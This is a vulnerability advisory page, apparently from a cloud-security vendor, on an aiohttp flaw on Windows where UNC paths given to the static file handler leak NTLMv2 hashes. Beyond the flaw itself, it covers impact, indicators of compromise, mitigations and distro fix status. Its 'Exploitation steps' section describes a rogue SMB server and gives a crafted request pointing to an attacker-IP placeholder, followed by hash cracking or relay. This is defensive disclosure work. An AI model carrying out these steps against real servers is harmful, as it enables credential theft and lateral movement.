CVE-2026-34515
Wolfi vulnerability analysis and mitigation

Overview

CVE-2026-34515 is a UNC SSRF/NTLMv2 Credential Theft and Local File Read vulnerability in the aiohttp static resource handler on Windows. Disclosed on March 31, 2026, it affects all aiohttp versions up to and including 3.13.3, and was patched in version 3.13.4. The vulnerability allows unauthenticated remote attackers to potentially extract NTLMv2 credential hashes by supplying absolute or UNC paths to the static file handler. It carries a CVSS v3.1 base score of 7.5 (High) and a CVSS v4.0 base score of 6.6 (Medium) (Github Advisory, Red Hat Bugzilla).

Technical details

The root cause is the failure of aiohttp's static resource handler (web_urldispatcher.py) to reject absolute paths — including UNC paths such as //network/share or D:\path — supplied via user-controlled input (CWE-36: Absolute Path Traversal; CWE-918: Server-Side Request Forgery). On Windows, when the handler resolves such a path, the OS may automatically initiate an SMB/NTLM authentication handshake to a remote attacker-controlled server, leaking the NTLMv2 hash of the service account. The fix, applied in commit 0ae2aa0, adds a check that raises HTTPNotFound if Path(filename).is_absolute() evaluates to true, blocking absolute and UNC path resolution before any filesystem access occurs (aiohttp Security Advisory, Patch Commit). This vulnerability is Windows-specific and does not affect Linux or macOS deployments.

Impact

Successful exploitation allows an unauthenticated remote attacker to capture the NTLMv2 hash of the Windows user account running the aiohttp server process. These hashes can be cracked offline or used in pass-the-hash attacks, potentially leading to full credential compromise and unauthorized access to internal systems. The impact is limited to confidentiality (no integrity or availability impact), but credential theft can enable lateral movement within a Windows domain environment (Github Advisory, aiohttp Security Advisory).

Exploitability

No public proof-of-concept exploit code has been reported, and there is no evidence of active in-the-wild exploitation at this time (Github Advisory). The EPSS score is approximately 0.057% (very low probability of exploitation in the next 30 days). The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires that the target application is running on Windows and has the aiohttp static resource handler enabled — a configuration explicitly not recommended for production use by the aiohttp project.

Exploitation steps

  1. Reconnaissance: Identify internet-facing or network-accessible aiohttp servers running on Windows with the static resource handler enabled, using tools like Shodan, Censys, or targeted HTTP probing.
  2. Set up a rogue SMB server: Deploy a tool such as Responder or Impacket's smbserver.py on an attacker-controlled host to capture incoming NTLMv2 authentication attempts.
  3. Craft a malicious request: Send an HTTP GET request to the aiohttp static file endpoint with a UNC path as the filename parameter, e.g., GET /static/\\<attacker-IP>\share\file HTTP/1.1. On Windows, the OS will attempt to resolve this UNC path via SMB.
  4. Capture NTLMv2 hash: The Windows host running aiohttp automatically initiates an NTLM authentication handshake to the attacker's SMB server, transmitting the NTLMv2 hash of the service account.
  5. Crack or relay the hash: Use tools such as Hashcat or John the Ripper to crack the captured NTLMv2 hash offline, or relay it using Impacket's ntlmrelayx.py to authenticate to other internal services (aiohttp Security Advisory, Patch Commit).

Indicators of compromise

  • Network: Outbound SMB connections (TCP port 445) from the Windows host running aiohttp to unexpected external or internal IP addresses; NTLMv2 authentication attempts originating from the aiohttp service account to unknown SMB servers.
  • Logs: HTTP access logs showing GET requests to static file endpoints with UNC-style paths (e.g., //, \\, or drive-letter prefixes like C:\) in the filename parameter; Windows Security Event Log entries (Event ID 4624/4625) showing NTLM authentication attempts to unfamiliar hosts.
  • File System: No direct file system artifacts expected, as the attack leverages network-level NTLM authentication rather than file writes.
  • Process: Unusual network connections initiated by the Python process hosting aiohttp, particularly outbound SMB traffic not consistent with normal application behavior.

Mitigation and workarounds

Upgrade aiohttp to version 3.13.4 or later, which blocks absolute and UNC paths in the static resource handler by returning HTTP 404 for such requests (aiohttp Release, Patch Commit). As a workaround, disable the aiohttp static resource handler entirely — the aiohttp documentation explicitly advises against using it in production environments. Additionally, restrict outbound SMB traffic (TCP 445) from Windows servers running aiohttp using host-based or network firewalls to limit the impact of any exploitation attempt. IBM has also released patches for affected products including IBM Process Mining, IBM API Connect, IBM watsonx Code Assistant On Prem, and IBM Observability with Instana (IBM Process Mining, IBM API Connect).

Community reactions

The vulnerability was reported by security researcher nvn1729 and remediated by aiohttp maintainer bdraco (aiohttp Security Advisory). Red Hat tracked the issue via Bugzilla and assigned it medium severity, noting it affects Windows deployments only (Red Hat Bugzilla). No significant broader community or social media discussion has been identified beyond standard vulnerability database publications.

Additional resources

Linux Distribution fix status

Fix availability across major Linux distributions and their releases.

Debian

Fixed

bookworm

python-aiohttp

Fixed

sid

python-aiohttp

Fixed

trixie

python-aiohttp

Fixed

RHEL / CentOS

Unknown

Alpine

Fixed

edge

py3-aiohttp: 3.13.5-r0

Fixed

v3.23

py3-aiohttp: 3.13.5-r0

Fixed

SourceThis report was generated using AI

Related Wolfi vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-53714HIGH7.4
  • Wolfi logoWolfi
  • tigera-operator-1.42
NoYesSep 14, 2026
CVE-2026-53719MEDIUM6.5
  • Wolfi logoWolfi
  • datadog-agent-7.76
NoYesSep 14, 2026
CVE-2026-53716MEDIUM6.5
  • Wolfi logoWolfi
  • datadog-agent-7.73
NoYesSep 14, 2026
CVE-2026-53718MEDIUM6.4
  • Wolfi logoWolfi
  • datadog-agent-7.78
NoYesSep 14, 2026
CVE-2026-53715MEDIUM5.3
  • Wolfi logoWolfi
  • datadog-agent-fips-7.73
NoYesSep 14, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management